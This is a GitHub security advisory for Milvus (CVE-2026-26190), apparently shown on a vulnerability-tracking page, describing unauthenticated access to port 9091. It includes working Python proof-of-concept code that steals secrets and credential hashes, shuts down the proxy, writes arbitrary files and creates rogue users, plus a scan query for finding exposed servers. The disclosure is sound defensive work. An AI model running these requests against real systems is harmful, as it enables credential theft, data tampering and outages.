GHSA-7PPG-37FH-VCR6

Vulnerability from github – Published: 2026-02-11 19:49 – Updated: 2026-02-13 17:17
VLAI?
Summary
Milvus: Unauthenticated Access to Restful API on Metrics Port (9091) Leads to Critical System Compromise
Details

Summary

Milvus exposes TCP port 9091 by default with two critical authentication bypass vulnerabilities:

  1. The /expr debug endpoint uses a weak, predictable default authentication token derived from etcd.rootPath (default: by-dev), enabling arbitrary expression evaluation.
  2. The full REST API (/api/v1/*) is registered on the metrics/management port without any authentication, allowing unauthenticated access to all business operations including data manipulation and credential management.

Details

Vulnerability 1: Weak Default Authentication on /expr Endpoint

The /expr endpoint on port 9091 accepts an auth parameter that defaults to the etcd.rootPath value (by-dev). This value is well-known and predictable. An attacker who can reach port 9091 can evaluate arbitrary internal Go expressions, leading to:

  • Information/Credential Disclosure: Reading internal configuration values (MinIO secrets, etcd credentials) and user credential hashes via param.MinioCfg.SecretAccessKey.GetValue(), rootcoord.meta.GetCredential(ctx, 'root'), etc.
  • Denial of Service: Invoking proxy.Stop() to shut down the proxy service.
  • Arbitrary File Write (potential RCE): Manipulating access log configuration parameters to write arbitrary content to arbitrary file paths on the server filesystem.

Vulnerability 2: Unauthenticated REST API on Metrics Port

Business-logic HTTP handlers (collection management, data insertion, credential management) are registered on the metrics/management HTTP server at port 9091 via registerHTTPServer() in internal/distributed/proxy/service.go (line 170). These endpoints do not enforce any authentication, even when Milvus authentication is enabled on the primary gRPC/HTTP ports.

An attacker can perform any business operation without credentials, including:

  • Creating, listing, and deleting collections
  • Inserting and querying data
  • Creating, listing, and deleting user credentials
  • Modifying user passwords

Proof of Concept

PoC 1 — /expr Endpoint Exploitation

import requests

url = "http://<target>:9091/expr"

# Leak sensitive configuration (e.g., MinIO secret key)
res = requests.get(url, params={
    "auth": "by-dev",
    "code": "param.MinioCfg.SecretAccessKey.GetValue()"
}, timeout=5)
print(res.json().get("output", ""))

# Retrieve hashed credentials for the root user
res = requests.get(url, params={
    "auth": "by-dev",
    "code": "rootcoord.meta.GetCredential(ctx, 'root')"
}, timeout=5)
print(res.json().get("output", ""))

# Denial of Service — stop the proxy
res = requests.get(url, params={
    "auth": "by-dev",
    "code": "proxy.Stop()"
}, timeout=5)

# Arbitrary file write (potential RCE)
for cmd in [
    'param.Save("proxy.accessLog.localPath", "/tmp")',
    'param.Save("proxy.accessLog.formatters.base.format", "whoami")',
    'param.Save("proxy.accessLog.filename", "evil.sh")',
    'querycoord.etcdCli.KV.Put(ctx, "by-dev/config/proxy/accessLog/enable", "true")'
]:
    requests.get(url, params={"auth": "by-dev", "code": cmd}, timeout=5)

PoC 2 — Unauthenticated REST API Access

import requests

target_url = "http://<target>:9091"

# Create a user without any authentication
res = requests.post(f"{target_url}/api/v1/credential", json={
    "username": "attacker_user",
    "password": "MTIzNDU2Nzg5",
})
print(res.json())

# List all users
res = requests.get(f"{target_url}/api/v1/credential/users")
print(res.json())  # {'status': {}, 'usernames': ['root', 'attacker_user']}

# Create and delete collections, insert data — all without authentication

Internet Exposure

A significant number of publicly exposed Milvus instances are discoverable via internet-wide scanning using the pattern:

http.body="404 page not found" && port="9091"

This indicates the vulnerability is actively exploitable in real-world production environments.

Impact

An unauthenticated remote attacker with network access to port 9091 can:

  1. Exfiltrate secrets and credentials — MinIO keys, etcd credentials, user password hashes, and all internal configuration values.
  2. Manipulate all data — Create, modify, and delete collections, insert or remove data, bypassing all application-level access controls.
  3. Manage user accounts — Create administrative users, reset passwords, and escalate privileges.
  4. Cause denial of service — Shut down proxy services, drop databases, or corrupt metadata.
  5. Write arbitrary files — Potentially achieve remote code execution by writing malicious files to the filesystem via access log configuration manipulation.

Remediation

Recommended Fixes

  1. Remove or disable the /expr endpoint in production builds. If retained for debugging, it must require strong, non-default authentication and be disabled by default.
  2. Do not register business API routes on the metrics port. Separate the metrics/health endpoints from the application REST API to ensure authentication middleware applies consistently.
  3. Bind port 9091 to localhost by default (127.0.0.1:9091) so it is not externally accessible unless explicitly configured.
  4. Enforce authentication on all API endpoints, regardless of which port they are served on.

User Mitigations (until patched)

  • Block external access to port 9091 using firewall rules or network policies.
  • If running in Docker/Kubernetes, do not expose port 9091 outside the internal network.
  • Change the etcd.rootPath from the default value by-dev to a strong, random value (partial mitigation only — does not address the unauthenticated REST API).

Credit

This vulnerability was discovered and responsibly reported by YingLin Xie (xieyinglin@hust.edu.cn). It was independently reported by 0x1f and zznQ (ac0d3r).

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/milvus-io/milvus"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.5.27"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/milvus-io/milvus"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.6.0"
            },
            {
              "fixed": "2.6.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-26190"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-306",
      "CWE-749"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-11T19:49:44Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nMilvus exposes TCP port 9091 by default with two critical authentication bypass vulnerabilities:\n\n1. The `/expr` debug endpoint uses a weak, predictable default authentication token derived from `etcd.rootPath` (default: `by-dev`), enabling arbitrary expression evaluation.\n2. The full REST API (`/api/v1/*`) is registered on the metrics/management port without any authentication, allowing unauthenticated access to all business operations including data manipulation and credential management.\n\n## Details\n\n### Vulnerability 1: Weak Default Authentication on `/expr` Endpoint\n\nThe `/expr` endpoint on port 9091 accepts an `auth` parameter that defaults to the `etcd.rootPath` value (`by-dev`). This value is well-known and predictable. An attacker who can reach port 9091 can evaluate arbitrary internal Go expressions, leading to:\n\n- **Information/Credential Disclosure**: Reading internal configuration values (MinIO secrets, etcd credentials) and user credential hashes via `param.MinioCfg.SecretAccessKey.GetValue()`, `rootcoord.meta.GetCredential(ctx, \u0027root\u0027)`, etc.\n- **Denial of Service**: Invoking `proxy.Stop()` to shut down the proxy service.\n- **Arbitrary File Write (potential RCE)**: Manipulating access log configuration parameters to write arbitrary content to arbitrary file paths on the server filesystem.\n\n### Vulnerability 2: Unauthenticated REST API on Metrics Port\n\nBusiness-logic HTTP handlers (collection management, data insertion, credential management) are registered on the metrics/management HTTP server at port 9091 via `registerHTTPServer()` in [`internal/distributed/proxy/service.go` (line 170)](https://github.com/milvus-io/milvus/blob/9996e8d1cebff7e7108bcb16d43124236de77438/internal/distributed/proxy/service.go#L170). These endpoints do not enforce any authentication, even when Milvus authentication is enabled on the primary gRPC/HTTP ports.\n\nAn attacker can perform any business operation without credentials, including:\n\n- Creating, listing, and deleting collections\n- Inserting and querying data\n- Creating, listing, and deleting user credentials\n- Modifying user passwords\n\n## Proof of Concept\n\n### PoC 1 \u2014 `/expr` Endpoint Exploitation\n\n```python\nimport requests\n\nurl = \"http://\u003ctarget\u003e:9091/expr\"\n\n# Leak sensitive configuration (e.g., MinIO secret key)\nres = requests.get(url, params={\n    \"auth\": \"by-dev\",\n    \"code\": \"param.MinioCfg.SecretAccessKey.GetValue()\"\n}, timeout=5)\nprint(res.json().get(\"output\", \"\"))\n\n# Retrieve hashed credentials for the root user\nres = requests.get(url, params={\n    \"auth\": \"by-dev\",\n    \"code\": \"rootcoord.meta.GetCredential(ctx, \u0027root\u0027)\"\n}, timeout=5)\nprint(res.json().get(\"output\", \"\"))\n\n# Denial of Service \u2014 stop the proxy\nres = requests.get(url, params={\n    \"auth\": \"by-dev\",\n    \"code\": \"proxy.Stop()\"\n}, timeout=5)\n\n# Arbitrary file write (potential RCE)\nfor cmd in [\n    \u0027param.Save(\"proxy.accessLog.localPath\", \"/tmp\")\u0027,\n    \u0027param.Save(\"proxy.accessLog.formatters.base.format\", \"whoami\")\u0027,\n    \u0027param.Save(\"proxy.accessLog.filename\", \"evil.sh\")\u0027,\n    \u0027querycoord.etcdCli.KV.Put(ctx, \"by-dev/config/proxy/accessLog/enable\", \"true\")\u0027\n]:\n    requests.get(url, params={\"auth\": \"by-dev\", \"code\": cmd}, timeout=5)\n```\n\n### PoC 2 \u2014 Unauthenticated REST API Access\n\n```python\nimport requests\n\ntarget_url = \"http://\u003ctarget\u003e:9091\"\n\n# Create a user without any authentication\nres = requests.post(f\"{target_url}/api/v1/credential\", json={\n    \"username\": \"attacker_user\",\n    \"password\": \"MTIzNDU2Nzg5\",\n})\nprint(res.json())\n\n# List all users\nres = requests.get(f\"{target_url}/api/v1/credential/users\")\nprint(res.json())  # {\u0027status\u0027: {}, \u0027usernames\u0027: [\u0027root\u0027, \u0027attacker_user\u0027]}\n\n# Create and delete collections, insert data \u2014 all without authentication\n```\n\n## Internet Exposure\n\nA significant number of publicly exposed Milvus instances are discoverable via internet-wide scanning using the pattern:\n\n```\nhttp.body=\"404 page not found\" \u0026\u0026 port=\"9091\"\n```\n\nThis indicates the vulnerability is actively exploitable in real-world production environments.\n\n## Impact\n\nAn unauthenticated remote attacker with network access to port 9091 can:\n\n1. **Exfiltrate secrets and credentials** \u2014 MinIO keys, etcd credentials, user password hashes, and all internal configuration values.\n2. **Manipulate all data** \u2014 Create, modify, and delete collections, insert or remove data, bypassing all application-level access controls.\n3. **Manage user accounts** \u2014 Create administrative users, reset passwords, and escalate privileges.\n4. **Cause denial of service** \u2014 Shut down proxy services, drop databases, or corrupt metadata.\n5. **Write arbitrary files** \u2014 Potentially achieve remote code execution by writing malicious files to the filesystem via access log configuration manipulation.\n\n## Remediation\n\n### Recommended Fixes\n\n1. **Remove or disable the `/expr` endpoint** in production builds. If retained for debugging, it must require strong, non-default authentication and be disabled by default.\n2. **Do not register business API routes on the metrics port.** Separate the metrics/health endpoints from the application REST API to ensure authentication middleware applies consistently.\n3. **Bind port 9091 to localhost by default** (`127.0.0.1:9091`) so it is not externally accessible unless explicitly configured.\n4. **Enforce authentication on all API endpoints**, regardless of which port they are served on.\n\n### User Mitigations (until patched)\n\n- Block external access to port 9091 using firewall rules or network policies.\n- If running in Docker/Kubernetes, do not expose port 9091 outside the internal network.\n- Change the `etcd.rootPath` from the default value `by-dev` to a strong, random value (partial mitigation only \u2014 does not address the unauthenticated REST API).\n\n## Credit\n\nThis vulnerability was discovered and responsibly reported by **YingLin Xie** (xieyinglin@hust.edu.cn). It was independently reported by [0x1f](https://github.com/0x1f) and zznQ ([ac0d3r](https://github.com/ac0d3r)).",
  "id": "GHSA-7ppg-37fh-vcr6",
  "modified": "2026-02-13T17:17:11Z",
  "published": "2026-02-11T19:49:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/milvus-io/milvus/security/advisories/GHSA-7ppg-37fh-vcr6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/milvus-io/milvus"
    },
    {
      "type": "WEB",
      "url": "https://github.com/milvus-io/milvus/releases/tag/v2.5.27"
    },
    {
      "type": "WEB",
      "url": "https://github.com/milvus-io/milvus/releases/tag/v2.6.10"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Milvus: Unauthenticated Access to Restful API on Metrics Port (9091) Leads to Critical System Compromise"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…